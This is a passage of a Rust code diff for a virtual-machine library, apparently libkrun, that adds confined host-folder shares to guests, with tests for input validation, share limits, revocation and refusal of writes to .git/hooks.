Access::new(4, 52, 9_502_744); ++ let device = access.register(3).unwrap(); ++ let mem = GuestMemoryMmap::from_ranges(&[(GuestAddress(0), MEM)]).unwrap(); ++ let mut driver = Driver::new(&mem); ++ let (queues, _kicks) = device_queues(); ++ let mut worker = GuardedFsWorker::new(queues, mem.clone(), access, device, share.clone(), EventFd::new(EFD_NONBLOCK).unwrap(), Arc::new(AtomicBool::new(false))).unwrap(); ++ let mut run = |driver: &mut Driver, opcode: Opcode, node: u64, args: &[&[u8]]| { ++ let out = driver.request(REQ_INDEX, opcode as u32, node, args, 4096); ++ assert_eq!(worker.drain(REQ_INDEX, &mut || {}), Ok(false)); ++ driver.reply(out) ++ }; ++ let init = InitInCompat { major: KERNEL_VERSION, minor: KERNEL_MINOR_VERSION, max_readahead: 1 << 17, flags: 0 }; ++ assert_eq!(run(&mut driver, Opcode::Init, 0, &[init.as_slice()]).0, 0); ++ let mkdir = MkdirIn { mode: 0o755, umask: 0 }; ++ let (error, body) = run(&mut driver, Opcode::Mkdir, ROOT_ID, &[mkdir.as_slice(), &nul(b".git")]); ++ assert_eq!(error, 0); ++ let git = EntryOut::from_slice(&body[..std::mem::size_of::()]).unwrap().nodeid; ++ assert_eq!(events.next(Duration::ZERO), None, "an allowed git directory reports nothing"); ++ // An R15 refusal: a hooks directory in the protected zone. ++ assert_eq!(run(&mut driver, Opcode::Mkdir, git, &[mkdir.as_slice(), &nul(b"hooks")]).0, libc::EPERM); ++ assert!(!tree.0.join(".git/hooks").exists()); ++ assert_eq!(events.next(Duration::ZERO), Some(ShareEvent::Notice { tag: "src-4".into(), kind: NoticeKind::GitProtected })); ++ // A watched name, written: allowed and reported. ++ let create = CreateIn { flags: 2, mode: 0o644, umask: 0, open_flags: 0 }; ++ assert_eq!(run(&mut driver, Opcode::Create, ROOT_ID, &[create.as_slice(), &nul(b".envrc")]).0, 0); ++ assert_eq!(events.next(Duration::ZERO), Some(ShareEvent::Notice { tag: "src-4".into(), kind: NoticeKind::Envrc })); ++ // Again: refused again, but reported once only. ++ assert_eq!(run(&mut driver, Opcode::Mkdir, git, &[mkdir.as_slice(), &nul(b"hooks")]).0, libc::EPERM); ++ assert_eq!(events.next(Duration::from_millis(20)), None, "each kind once per incarnation"); ++} ++ ++/// The share device is built without a shared-memory region and without EVENT_IDX, and its read-only bit ++/// follows the share. ++#[test] ++fn guarded_fs_a_share_device_has_no_shm_region_and_no_event_idx() { ++ use crate::virtio::VirtioDevice; ++ let tree = TempTree::new(); ++ let shared = share(&tree, "winter-outputs", ShareEvents::new()); ++ let mut device = crate::virtio::Fs::new( ++ "winter-outputs".into(), ++ crate::virtio::fs::passthrough::PermissionSemantics::LinuxSimplified, ++ None, ++ Arc::new(std::sync::atomic::AtomicI32::new(0)), ++ false, ++ Vec::new(), ++ ) ++ .unwrap(); ++ let access = Access::new(4, 52, 9_502_744); ++ let token = access.register(3).unwrap(); ++ device.set_shm_region(crate::virtio::VirtioShmRegion { host_addr: 0x1000, guest_addr: 0x1000, size: 0x1000 }); ++ device.enable_cowork_share(shared, access, token); ++ assert_eq!(device.avail_features(), 1u64 << virtio_bindings::virtio_config::VIRTIO_F_VERSION_1); ++ assert!(device.shm_region().is_none()); ++ assert_eq!(device.device_type(), 26); ++} +diff --git a/src/devices/src/virtio/fs/device.rs b/src/devices/src/virtio/fs/device.rs +index ae504cd..5f7c0d4 100644 +--- a/src/devices/src/virtio/fs/device.rs ++++ b/src/devices/src/virtio/fs/device.rs +@@ -58,6 +58,9 @@ pub struct Fs { + exit_code: Arc, + #[cfg(target_os = "macos")] + map_sender: Option>, ++ /// A Cowork share (`enable_cowork_share`): the guarded worker serves its confined server. ++ #[cfg(all(feature = "blk", target_os = "macos"))] ++ cowork: Option, + } + + impl Fs { +@@ -108,9 +111,33 @@ impl Fs { + exit_code, + #[cfg(target_os = "macos")] + map_sender: None, ++ #[cfg(all(feature = "blk", target_os = "macos"))] ++ cowork: None, + }) + } + ++ /// Turns this device into the guarded device of one Cowork share (SH2): its own worker serves the ++ /// share's confined server, registered with the reclaim `Access` as `device`. No shared-memory region ++ /// (R6), no passthrough configuration and no `EVENT_IDX` (the guarded worker signals every completion). ++ #[cfg(all(feature = "blk", target_os = "macos"))] ++ pub fn enable_cowork_share( ++ &mut self, ++ share: Arc, ++ access: crate::reclaim_access::Access, ++ device: crate::reclaim_access::Device, ++ ) { ++ self.avail_features = 1u64 << VIRTIO_F_VERSION_1; ++ self.shm_region = None; ++ self.passthrough_cfg = None; ++ self.read_only = share.flags().read_only; ++ self.cowork = Some(super::cowork::CoworkDevice { ++ share, ++ access, ++ device, ++ stop: Arc::new(std::sync::atomic::AtomicBool::new(false)), ++ }); ++ } ++ + pub fn id(&self) -> &str { + defs::FS_DEV_ID + } +@@ -197,6 +224,26 @@ impl VirtioDevice for Fs { + panic!("virtio_fs: worker thread already exists"); + } + ++ #[cfg(all(feature = "blk", target_os = "macos"))] ++ if let Some(cowork) = &self.cowork { ++ let _ = self.worker_stopfd.read(); ++ cowork.stop.store(false, Ordering::Release); ++ let worker = super::cowork::GuardedFsWorker::new( ++ queues, ++ mem.clone(), ++ cowork.access.clone(), ++ cowork.device, ++ cowork.share.clone(), ++ self.worker_stopfd.try_clone().unwrap(), ++ cowork.stop.clone(), ++ ) ++ .map_err(|_| ActivateError::BadActivate)?; ++ let signal = interrupt.clone(); ++ self.worker_thread = Some(worker.run(move || signal.signal_used_queue())); ++ self.device_state = DeviceState::Activated(mem, interrupt); ++ return Ok(()); ++ } ++ + // Extract queues and eventfds from DeviceQueues. + let mut worker_queues = Vec::with_capacity(queues.len()); + let mut queue_evts = Vec::with_capacity(queues.len()); +@@ -240,13 +287,44 @@ impl VirtioDevice for Fs { + } + + fn reset(&mut self) -> bool { ++ #[cfg(all(feature = "blk", target_os = "macos"))] ++ if let Some(cowork) = &self.cowork { ++ cowork.stop.store(true, Ordering::Release); ++ } + if let Some(worker) = self.worker_thread.take() { + let _ = self.worker_stopfd.write(1); + if let Err(e) = worker.join() { + error!("error waiting for worker thread: {e:?}"); + } + } ++ #[cfg(all(feature = "blk", target_os = "macos"))] ++ if let Some(cowork) = &mut self.cowork { ++ let _ = self.worker_stopfd.read(); ++ match cowork.access.reset_generation(cowork.device) { ++ Ok(next) => cowork.device = next, ++ Err(_) => cowork.access.stop(), ++ } ++ } + self.device_state = DeviceState::Inactive; + true + } + } ++ ++/// R13, the exit path: a share device's worker is stopped and joined, so no guest write reaches the host ++/// after the exit observers that follow (the final flush, then the exit hook) run. A stock device keeps ++/// the default no-op. ++impl crate::virtio::VmmExitObserver for Fs { ++ fn on_vmm_exit(&mut self) { ++ #[cfg(all(feature = "blk", target_os = "macos"))] ++ { ++ let Some(cowork) = &self.cowork else { return }; ++ cowork.stop.store(true, Ordering::Release); ++ if let Some(worker) = self.worker_thread.take() { ++ let _ = self.worker_stopfd.write(1); ++ if let Err(e) = worker.join() { ++ error!("error waiting for the share worker at exit: {e:?}"); ++ } ++ } ++ } ++ } ++} +diff --git a/src/devices/src/virtio/fs/mod.rs b/src/devices/src/virtio/fs/mod.rs +index f8ef632..fd54c1d 100644 +--- a/src/devices/src/virtio/fs/mod.rs ++++ b/src/devices/src/virtio/fs/mod.rs +@@ -1,4 +1,6 @@ + mod augment_fs; ++#[cfg(all(feature = "blk", target_os = "macos"))] ++pub mod cowork; + mod device; + #[allow(dead_code)] + mod filesystem; +diff --git a/src/devices/src/workspace_disks.rs b/src/devices/src/workspace_disks.rs +index 635aecc..3be7a45 100644 +--- a/src/devices/src/workspace_disks.rs ++++ b/src/devices/src/workspace_disks.rs +@@ -13,6 +13,23 @@ pub const RUNTIME_DEVICE: u64 = 2; + pub const MAX_DEVICES: usize = 3; + pub const MAX_PINS: usize = 48; + pub const MAX_PINNED_BYTES: u64 = 8 * 1024 * 1024; ++/// The first reclaim registration id of a share's fs device; share `i` registers as `FIRST_SHARE_DEVICE + i`. ++pub const FIRST_SHARE_DEVICE: u64 = 3; ++ ++/// The reclaim budget of a workspace with `shares` share devices (R14): (`max_devices`, `max_pins`, ++/// `max_pinned_bytes`) = (3 + S, 48 + 4 S, 8 MiB + 1,114,136 S); 15 / 96 / 21,758,240 at the maximum S = 12. ++/// Computed from the actual S at context build, never larger; `None` above 12 shares. ++pub fn budget(shares: usize) -> Option<(usize, usize, u64)> { ++ use crate::virtio::fs::cowork::{MAX_SHARES, PINNED_BYTES_PER_SHARE, PINS_PER_SHARE}; ++ if shares > MAX_SHARES { ++ return None; ++ } ++ Some(( ++ MAX_DEVICES + shares, ++ MAX_PINS + PINS_PER_SHARE * shares, ++ MAX_PINNED_BYTES + PINNED_BYTES_PER_SHARE * shares as u64, ++ )) ++} + + #[repr(C)] + #[derive(Clone, Copy, Debug, PartialEq, Eq)] +diff --git a/src/libkrun/src/cowork_production_gate_matrix_tests.rs b/src/libkrun/src/cowork_production_gate_matrix_tests.rs +index d88a622..9a438f8 100644 +--- a/src/libkrun/src/cowork_production_gate_matrix_tests.rs ++++ b/src/libkrun/src/cowork_production_gate_matrix_tests.rs +@@ -4,6 +4,7 @@ + //! `--test-threads=1`: contexts, descriptors and the context map are process-wide. + use super::*; + use crate::cowork_production_profile_tests::{bare, machine, valid, Production}; ++use crate::cowork_production_shares_tests::Shares; + use std::ffi::CString; + use std::os::raw::c_char; + +@@ -17,6 +18,12 @@ fn change(f: impl Fn(&mut ContextConfig) + 'static) -> Change { + /// it again (so the refusal is that clause and not a side effect), and only that clause is touched. + #[test] + fn every_reviewed_inventory_clause_refuses_a_production_context() { ++ every_reviewed_inventory_clause_refuses(0); ++} ++ ++/// The same clauses on a production context that carries `shares` admitted shares (SH2): every TSI, vsock ++/// and other refusal still refuses, and undoing it admits the context with its shares again. ++pub(crate) fn every_reviewed_inventory_clause_refuses(shares: usize) { + let clauses: Vec<(&str, Change, Change)> = vec![ + ("virtiofs device (r.fs)", change(|c| { + c.vmr.add_fs_device(FsDeviceConfig { +@@ -26,8 +33,9 @@ fn every_reviewed_inventory_clause_refuses_a_production_context() { + shm_size: None, + read_only: false, + virtual_entries: Vec::new(), ++ cowork_share: None, + }) +- }), change(|c| c.vmr.fs.clear())), ++ }), change(|c| { c.vmr.fs.pop(); })), + ("extra virtio console (r.virtio_consoles)", change(|c| { + c.vmr.virtio_consoles.push(VirtioConsoleConfigMode::Explicit(Vec::new())) + }), change(|c| c.vmr.virtio_consoles.clear())), +@@ -73,6 +81,8 @@ fn every_reviewed_inventory_clause_refuses_a_production_context() { + ]; + let production = Production::new(); + let id = production.id; ++ let _shares = Shares::add(id, shares); ++ assert!(valid(id)); + for (name, apply, undo) in &clauses { + { + let mut map = CTX_MAP.lock().unwrap(); +@@ -119,6 +129,11 @@ enum Expect { + /// exhaustive context classification below is what forces it to be added. + #[test] + fn every_device_adding_setter_flips_the_preflight_or_is_refused_or_is_inert() { ++ every_device_adding_setter_is_classified(0); ++} ++ ++/// The same table on production contexts that carry `shares` admitted shares (SH2). ++pub(crate) fn every_device_adding_setter_is_classified(shares: usize) { + let path = CString::new("/nonexistent-never-opened").unwrap(); + let tag = CString::new("tag").unwrap(); + let name = CString::new("port").unwrap(); +@@ -180,6 +195,8 @@ fn every_device_adding_setter_flips_the_preflight_or_is_refused_or_is_inert() { + for (name, expect, call) in table { + let production = Production::new(); + let id = production.id; ++ let _shares = Shares::add(id, shares); ++ assert!(valid(id), "{name}: not admitted with {shares} shares"); + let status = call(id); + match expect { + Expect::Flips => { +diff --git a/src/libkrun/src/cowork_production_profile_tests.rs b/src/libkrun/src/cowork_production_profile_tests.rs +index 3570011..72b18c7 100644 +--- a/src/libkrun/src/cowork_production_profile_tests.rs ++++ b/src/libkrun/src/cowork_production_profile_tests.rs +@@ -467,10 +467,13 @@ fn production_header_exposes_the_production_api_and_hides_the_fixture_entry_poin + assert_eq!( + production, + [ ++ "krun_cowork_add_share_v1", + "krun_cowork_create_runtime_port_v1", + "krun_cowork_enable_profile_v1", + "krun_cowork_get_flush_counters_v1", + "krun_cowork_get_pin_counters_v1", ++ "krun_cowork_next_share_event_v1", ++ "krun_cowork_revoke_share_v1", + "krun_cowork_set_exit_hook_v1", + "krun_cowork_set_workspace_disks_v1", + "krun_cowork_validate_profile_v1", +diff --git a/src/libkrun/src/cowork_production_shares_tests.rs b/src/libkrun/src/cowork_production_shares_tests.rs +new file mode 100644 +index 0000000..c99111d +--- /dev/null ++++ b/src/libkrun/src/cowork_production_shares_tests.rs +@@ -0,0 +1,388 @@ ++//! SH2: the host-backed shares in the production profile. `krun_cowork_add_share_v1` and its refusals, the ++//! gate clauses that admit `r.fs` only from it, every earlier TSI, vsock and inventory refusal with shares ++//! present, revocation and the share-event drain, and text pins on the device wiring. Pure context and ++//! validator checks: nothing here creates a VM, calls Hypervisor.framework or calls `krun_start_enter`. ++//! Temporary directories live under the system temp directory. Run with `--test-threads=1`. ++use super::*; ++use crate::cowork_production_gate_matrix_tests::{every_device_adding_setter_is_classified, every_reviewed_inventory_clause_refuses}; ++use crate::cowork_production_profile_tests::{bare, open_fds, valid, Production}; ++use devices::virtio::fs::cowork::{ShareControl, ShareEvents}; ++use devices::virtio::fs::macos::confined::{ConfinedConfig, NoticeKind, ShareFlags}; ++use std::os::fd::{AsRawFd, OwnedFd}; ++use std::sync::atomic::AtomicU64; ++ ++static NEXT: AtomicU64 = AtomicU64::new(0); ++ ++pub(crate) struct Dir { ++ path: PathBuf, ++ pub(crate) fd: OwnedFd, ++} ++impl Dir { ++ pub(crate) fn new() -> Self { ++ let path = std::env::temp_dir().join(format!("winter-share-{}-{}", std::process::id(), NEXT.fetch_add(1, Ordering::Relaxed))); ++ let _ = std::fs::remove_dir_all(&path); ++ std::fs::create_dir(&path).unwrap(); ++ let fd = OwnedFd::from(File::open(&path).unwrap()); ++ Dir { path, fd } ++ } ++} ++impl Drop for Dir { ++ fn drop(&mut self) { ++ let _ = std::fs::remove_dir_all(&self.path); ++ } ++} ++ ++/// The shares of 2.1, in order: nine folder sources (even ones read-write with the folder rules, odd ones ++/// read-only), then the guidance, memory and outputs Winter shares. ++fn spec(index: usize) -> (String, String, u32) { ++ match index { ++ 0..=8 => (format!("src-{index}"), format!("/workspace/folders/g{index}"), if index % 2 == 0 { 4 } else { 1 }), ++ 9 => ("winter-guidance".into(), "/run/winter/shared-instructions".into(), 1 | 2), ++ 10 => ("winter-memory".into(), "/workspace/.winter/memory".into(), 2), ++ _ => ("winter-outputs".into(), "/workspace/outputs".into(), 2), ++ } ++} ++ ++fn add(id: u32, tag: &str, fd: i32, flags: u32, guest_path: &str) -> i32 { ++ let (tag, guest_path) = (CString::new(tag).unwrap(), CString::new(guest_path).unwrap()); ++ unsafe { krun_cowork_add_share_v1(id, tag.as_ptr(), fd, flags, guest_path.as_ptr()) } ++} ++ ++/// `count` admitted shares on a production context; the directories go away on drop. ++pub(crate) struct Shares(#[allow(dead_code)] Vec); ++impl Shares { ++ pub(crate) fn add(id: u32, count: usize) -> Self { ++ let dirs: Vec<_> = (0..count).map(|_| Dir::new()).collect(); ++ for (index, dir) in dirs.iter().enumerate() { ++ let (tag, path, flags) = spec(index); ++ assert_eq!(add(id, &tag, dir.fd.as_raw_fd(), flags, &path), 0, "{tag}"); ++ } ++ Shares(dirs) ++ } ++} ++ ++fn revoke(id: u32, tag: &str) -> i32 { ++ let tag = CString::new(tag).unwrap(); ++ unsafe { krun_cowork_revoke_share_v1(id, tag.as_ptr()) } ++} ++ ++fn next_event(id: u32, timeout_ms: u32) -> (i32, KrunCoworkShareEventV1) { ++ let mut out = KrunCoworkShareEventV1 { size: std::mem::size_of::() as u32, ..Default::default() }; ++ let status = unsafe { krun_cowork_next_share_event_v1(id, &mut out, timeout_ms) }; ++ (status, out) ++} ++ ++fn tag_of(event: &KrunCoworkShareEventV1) -> String { ++ let end = event.tag.iter().position(|b| *b == 0).unwrap(); ++ String::from_utf8(event.tag[..end].to_vec()).unwrap() ++} ++ ++#[test] ++fn production_contexts_with_shares_are_admitted_and_each_share_is_one_confined_device() { ++ for count in [1, 12] { ++ let production = Production::new(); ++ let id = production.id; ++ let _shares = Shares::add(id, count); ++ assert!(valid(id)); ++ assert_eq!(krun_cowork_validate_profile_v1(id), 0); ++ let map = CTX_MAP.lock().unwrap(); ++ let fs = &map.get(&id).unwrap().vmr.fs; ++ assert_eq!(fs.len(), count); ++ for (index, entry) in fs.iter().enumerate() { ++ let (tag, _, flags) = spec(index); ++ let share = entry.cowork_share.as_ref().unwrap(); ++ assert_eq!((entry.fs_id.as_str(), share.tag()), (tag.as_str(), tag.as_str())); ++ assert!(entry.shared_dir.is_none() && entry.shm_size.is_none() && entry.virtual_entries.is_empty()); ++ assert!(matches!(entry.semantics, PermissionSemantics::LinuxSimplified)); ++ assert_eq!(entry.read_only, flags & 1 != 0); ++ assert_eq!(share.flags(), ShareFlags::from_abi(flags).unwrap()); ++ } ++ } ++} ++ ++#[test] ++fn add_share_refuses_every_malformed_argument_and_keeps_no_descriptor() { ++ let before = open_fds(); ++ { ++ let production = Production::new(); ++ let id = production.id; ++ let dir = Dir::new(); ++ let fd = dir.fd.as_raw_fd(); ++ let file_path = std::env::temp_dir().join(format!("winter-share-file-{}", std::process::id())); ++ let file = File::create(&file_path).unwrap(); ++ let baseline = open_fds(); ++ let refused = |status: i32, what: &str| { ++ assert_eq!(status, -libc::EINVAL, "{what}"); ++ assert_eq!(open_fds(), baseline, "{what}: a refusal keeps no descriptor"); ++ assert!(valid(id), "{what}: the context is unchanged"); ++ assert!(CTX_MAP.lock().unwrap().get(&id).unwrap().vmr.fs.is_empty(), "{what}"); ++ }; ++ let path = CString::new("/workspace/outputs").unwrap(); ++ refused(unsafe { krun_cowork_add_share_v1(id, std::ptr::null(), fd, 2, path.as_ptr()) }, "null tag"); ++ let tag = CString::new("winter-outputs").unwrap(); ++ refused(unsafe { krun_cowork_add_share_v1(id, tag.as_ptr(), fd, 2, std::ptr::null()) }, "null guest path"); ++ for bad in ["", "A", "src_0", "src 0", "0123456789abcdefghijklmnopqrstuvw", "src/0"] { ++ refused(add(id, bad, fd, 2, "/workspace/outputs"), bad); ++ } ++ for bad in ["/workspace", "/workspace/", "/workspace/../etc", "/workspace/a//b", "/workspace/a/", "/tmp/a", "relative/a", "/run/winter/./a"] { ++ refused(add(id, "winter-outputs", fd, 2, bad), bad); ++ } ++ for bad in [8u32, 6, 1 << 31, u32::MAX] { ++ refused(add(id, "winter-outputs", fd, bad, "/workspace/outputs"), &format!("flags {bad:#x}")); ++ } ++ for bad in [-1, 0, 1, 2, 9999] { ++ refused(add(id, "winter-outputs", bad, 2, "/workspace/outputs"), &format!("descriptor {bad}")); ++ } ++ refused(add(id, "winter-outputs", file.as_raw_fd(), 2, "/workspace/outputs"), "a regular file"); ++ // A standard descriptor is refused even when it is a directory. ++ let saved = unsafe { libc::dup(0) }; ++ assert!(saved >= 3); ++ assert_eq!(unsafe { libc::dup2(fd, 0) }, 0); ++ let status = add(id, "winter-outputs", 0, 2, "/workspace/outputs"); ++ assert_eq!(unsafe { libc::dup2(saved, 0) }, 0); ++ assert_eq!(unsafe { libc::close(saved) }, 0); ++ refused(status, "descriptor 0 holding a directory"); ++ assert_eq!(add(u32::MAX, "winter-outputs", fd, 2, "/workspace/outputs"), -libc::ENOENT); ++ // Only a production context takes a share: neither a plain nor a fixture context does. ++ for fixture in [false, true] { ++ let other = bare(); ++ if fixture { ++ assert_eq!(krun_enable_cowork_block_fixture_reclaim(other), 0); ++ } ++ assert_eq!(add(other, "winter-outputs", fd, 2, "/workspace/outputs"), -libc::EINVAL); ++ assert!(CTX_MAP.lock().unwrap().get(&other).unwrap().vmr.fs.is_empty()); ++ assert_eq!(krun_free_ctx(other), 0); ++ } ++ assert_eq!(open_fds(), baseline); ++ ++ // Accepted: one close-on-exec duplicate kept by the library; the caller's descriptor stays its own. The ++ // device set changed, so the start refuses until the preflight runs again. ++ assert!(cowork_start_admission(CTX_MAP.lock().unwrap().get(&id).unwrap()).is_ok()); ++ assert_eq!(add(id, "src-0", fd, 4, "/workspace/folders/g0"), 0); ++ assert!(cowork_start_admission(CTX_MAP.lock().unwrap().get(&id).unwrap()).is_err()); ++ assert_eq!(krun_cowork_validate_profile_v1(id), 0); ++ assert!(cowork_start_admission(CTX_MAP.lock().unwrap().get(&id).unwrap()).is_ok()); ++ let after = open_fds(); ++ assert_eq!(after.len(), baseline.len() + 1); ++ let identity = |fd: i32| { ++ let mut st: libc::stat = unsafe { std::mem::zeroed() }; ++ (unsafe { libc::fstat(fd, &mut st) } == 0).then(|| (st.st_dev, st.st_ino)) ++ }; ++ let kept: Vec<_> = after.iter().copied().filter(|other| *other != fd && identity(*other) == identity(fd)).collect(); ++ assert_eq!(kept.len(), 1, "one duplicate of the root"); ++ let kept = kept[0]; ++ assert!(kept >= 3); ++ assert_ne!(unsafe { libc::fcntl(kept, libc::F_GETFD) } & libc::FD_CLOEXEC, 0); ++ assert!(unsafe { libc::fcntl(fd, libc::F_GETFD) } >= 0, "the caller's descriptor is untouched"); ++ // Once each: the tag, the root and the mount point. ++ let other = Dir::new(); ++ let duplicate = unsafe { libc::dup(fd) }; ++ let with_one = open_fds(); ++ assert_eq!(add(id, "src-0", other.fd.as_raw_fd(), 4, "/workspace/folders/g1"), -libc::EINVAL, "same tag"); ++ assert_eq!(add(id, "src-1", duplicate, 1, "/workspace/folders/g1"), -libc::EINVAL, "same root (another descriptor)"); ++ assert_eq!(add(id, "src-1", other.fd.as_raw_fd(), 1, "/workspace/folders/g0"), -libc::EINVAL, "same mount point"); ++ assert_eq!(add(id, "src-1", other.fd.as_raw_fd(), 1, "/workspace/folders/g0/inner"), -libc::EINVAL, "nested mount point"); ++ assert_eq!(add(id, "src-1", other.fd.as_raw_fd(), 1, "/workspace/folders"), -libc::EINVAL, "enclosing mount point"); ++ assert_eq!(open_fds(), with_one); ++ assert_eq!(unsafe { libc::close(duplicate) }, 0); ++ assert!(valid(id)); ++ drop(file); ++ let _ = std::fs::remove_file(&file_path); ++ } ++ assert_eq!(open_fds(), before, "freeing the context closes its shares"); ++} ++ ++#[test] ++fn at_most_twelve_shares() { ++ let production = Production::new(); ++ let id = production.id; ++ let _shares = Shares::add(id, 12); ++ let extra = Dir::new(); ++ let baseline = open_fds(); ++ assert_eq!(add(id, "src-x", extra.fd.as_raw_fd(), 1, "/workspace/folders/x"), -libc::EINVAL); ++ assert_eq!(open_fds(), baseline); ++ assert_eq!(CTX_MAP.lock().unwrap().get(&id).unwrap().vmr.fs.len(), 12); ++ assert!(valid(id)); ++} ++ ++/// A share entry built outside `krun_cowork_add_share_v1` (the forged entries a later change could produce): ++/// the gate refuses each departure from what the function builds, and undoing it admits the context again. ++#[test] ++fn the_gate_admits_r_fs_only_as_built_by_add_share() { ++ type Change = Box; ++ let extra = Dir::new(); ++ let twin = Dir::new(); ++ let events = ShareEvents::new(); ++ let flags = ShareFlags::from_abi(1).unwrap(); ++ let thirteenth = ShareControl::new("src-x", ConfinedConfig { root: extra.fd.try_clone().unwrap(), flags, guest_path: CString::new("/workspace/folders/x").unwrap() }, events.clone()).unwrap(); ++ let same_tag = ShareControl::new("src-0", ConfinedConfig { root: twin.fd.try_clone().unwrap(), flags, guest_path: CString::new("/workspace/folders/y").unwrap() }, events).unwrap(); ++ let entry = |share: &std::sync::Arc| FsDeviceConfig { ++ fs_id: share.tag().to_string(), ++ shared_dir: None, ++ semantics: PermissionSemantics::LinuxSimplified, ++ shm_size: None, ++ read_only: true, ++ virtual_entries: Vec::new(), ++ cowork_share: Some(share.clone()), ++ }; ++ let (thirteenth_entry, same_tag_entry) = (entry(&thirteenth), entry(&same_tag)); ++ let clauses: Vec<(&str, usize, Change, Change)> = vec![ ++ ("host path (shared_dir)", 2, Box::new(|c| c.vmr.fs[1].shared_dir = Some("/nonexistent".into())), Box::new(|c| c.vmr.fs[1].shared_dir = None)), ++ ("shared memory (R6)", 2, Box::new(|c| c.vmr.fs[1].shm_size = Some(1 << 20)), Box::new(|c| c.vmr.fs[1].shm_size = None)), ++ ("not Simplified (R7)", 2, Box::new(|c| c.vmr.fs[1].semantics = PermissionSemantics::LinuxComplete), Box::new(|c| c.vmr.fs[1].semantics = PermissionSemantics::LinuxSimplified)), ++ ("virtual entries", 2, Box::new(|c| c.vmr.fs[1].virtual_entries.push(VirtualDirEntry { name: CString::new("x").unwrap(), entry: VirtualEntry { mode: 0o755, one_shot: false, content: VirtualEntryContent::Dir { children: Vec::new() } } })), Box::new(|c| c.vmr.fs[1].virtual_entries.clear())), ++ ("device read-only bit differs from the share's", 2, Box::new(|c| c.vmr.fs[1].read_only = false), Box::new(|c| c.vmr.fs[1].read_only = true)), ++ ("device id differs from the tag", 2, Box::new(|c| c.vmr.fs[1].fs_id = "src-9".into()), Box::new(|c| c.vmr.fs[1].fs_id = "src-1".into())), ++ ("no share (a stock entry)", 2, Box::new(|c| { c.vmr.fs[1].cowork_share.take(); }), Box::new(|_| {})), ++ ("a thirteenth share", 12, Box::new(move |c| c.vmr.fs.push(thirteenth_entry.clone())), Box::new(|c| { c.vmr.fs.pop(); })), ++ ("two shares with one tag", 2, Box::new(move |c| c.vmr.fs.push(same_tag_entry.clone())), Box::new(|c| { c.vmr.fs.pop(); })), ++ ("shares without the production marker", 2, Box::new(|c| c.cowork_production = false), Box::new(|c| c.cowork_production = true)), ++ ]; ++ for (name, count, apply, undo) in &clauses { ++ let production = Production::new(); ++ let id = production.id; ++ let _shares = Shares::add(id, *count); ++ assert!(valid(id), "{name}"); ++ let kept = CTX_MAP.lock().unwrap().get(&id).unwrap().vmr.fs[1].cowork_share.clone(); ++ apply(CTX_MAP.lock().unwrap().get_mut(&id).unwrap()); ++ assert!(!valid(id), "not refused: {name}"); ++ assert_eq!(krun_cowork_validate_profile_v1(id), -libc::EINVAL, "preflight accepted: {name}"); ++ { ++ let mut map = CTX_MAP.lock().unwrap(); ++ let cfg = map.get_mut(&id).unwrap(); ++ undo(cfg); ++ cfg.vmr.fs[1].cowork_share = kept; ++ } ++ assert!(valid(id), "not restored: {name}"); ++ } ++ // The marker clause refuses because of the shares: the same context without them is admitted. ++ let production = Production::new(); ++ let id = production.id; ++ CTX_MAP.lock().unwrap().get_mut(&id).unwrap().cowork_production = false; ++ assert!(valid(id)); ++ CTX_MAP.lock().unwrap().get_mut(&id).unwrap().cowork_production = true; ++} ++ ++/// Every reviewed inventory clause (implicit and explicit vsock, TSI, consoles, gpu, firmware, disks, the ++/// shutdown GPIO) and every device-adding setter row (vsock ports and port maps refused, krun_add_vsock, ++/// krun_add_virtiofs* and krun_set_root flipping) keep their verdict with one share and with twelve. ++#[test] ++fn every_earlier_refusal_still_refuses_with_shares_present() { ++ for shares in [1, 12] { ++ every_reviewed_inventory_clause_refuses(shares); ++ every_device_adding_setter_is_classified(shares); ++ } ++} ++ ++#[test] ++fn revocation_and_the_share_event_drain() { ++ let before = open_fds(); ++ { ++ let production = Production::new(); ++ let id = production.id; ++ let _shares = Shares::add(id, 2); ++ let with_shares = open_fds(); ++ // The drain's argument checks. ++ assert_eq!(unsafe { krun_cowork_next_share_event_v1(id, std::ptr::null_mut(), 0) }, -libc::EINVAL); ++ let mut short = KrunCoworkShareEventV1 { size: 51, ..Default::default() }; ++ assert_eq!(unsafe { krun_cowork_next_share_event_v1(id, &mut short, 0) }, -libc::EINVAL); ++ assert_eq!(short.kind, 0, "a refused call writes nothing"); ++ assert_eq!(next_event(id, KRUN_COWORK_SHARE_EVENT_MAX_WAIT_MS + 1).0, -libc::EINVAL); ++ assert_eq!(next_event(u32::MAX, 0).0, -libc::ENOENT); ++ assert_eq!(next_event(id, 0).0, 0, "nothing yet"); ++ // The revoke's argument checks. ++ assert_eq!(unsafe { krun_cowork_revoke_share_v1(id, std::ptr::null()) }, -libc::EINVAL); ++ assert_eq!(revoke(id, "Src-0"), -libc::EINVAL); ++ assert_eq!(revoke(id, "src-7"), -libc::ENOENT); ++ assert_eq!(revoke(u32::MAX, "src-0"), -libc::ENOENT); ++ assert_eq!(open_fds(), with_shares); ++ // Before the start no device thread holds the share: it is closed at once, then reported once. ++ assert_eq!(revoke(id, "src-0"), 0); ++ assert_eq!(open_fds().len(), with_shares.len() - 1, "the share's root descriptor is closed"); ++ let (status, event) = next_event(id, 0); ++ assert_eq!((status, event.size, event.kind, event.notice), (1, 52, KRUN_COWORK_SHARE_EVENT_REVOKED, 0)); ++ assert_eq!(tag_of(&event), "src-0"); ++ assert_eq!(revoke(id, "src-0"), 0, "a repeat is accepted"); ++ assert_eq!(next_event(id, 10).0, 0, "and reports nothing"); ++ // A notice from a share's policy hooks, once per tag and kind. ++ // The confined server records it (R15); the drain forwards it. ++ let sink = COWORK_SHARES.lock().unwrap().get(&id).unwrap().shares[1].notices(); ++ sink.push(NoticeKind::GitProtected); ++ sink.push(NoticeKind::GitProtected); ++ let (status, event) = next_event(id, 0); ++ assert_eq!((status, event.kind, event.notice), (1, KRUN_COWORK_SHARE_EVENT_NOTICE, 6)); ++ assert_eq!(tag_of(&event), "src-1"); ++ assert_eq!(next_event(id, 0).0, 0); ++ // A revoked share is inert; the context stays admissible. ++ assert!(valid(id)); ++ } ++ assert_eq!(open_fds(), before); ++ // A freed context's shares and events are gone. ++ let production = Production::new(); ++ let id = production.id; ++ let shares = Shares::add(id, 1); ++ drop(production); ++ assert_eq!(revoke(id, "src-0"), -libc::ENOENT); ++ assert_eq!(next_event(id, 0).0, -libc::ENOENT); ++ drop(shares); ++} ++ ++/// The ABI block of the design and the header agree, and the structure has the header's layout. ++#[test] ++fn the_share_abi_is_the_designs() { ++ let header = include_str!("../../../include/libkrun.h"); ++ assert!(header.contains("int32_t 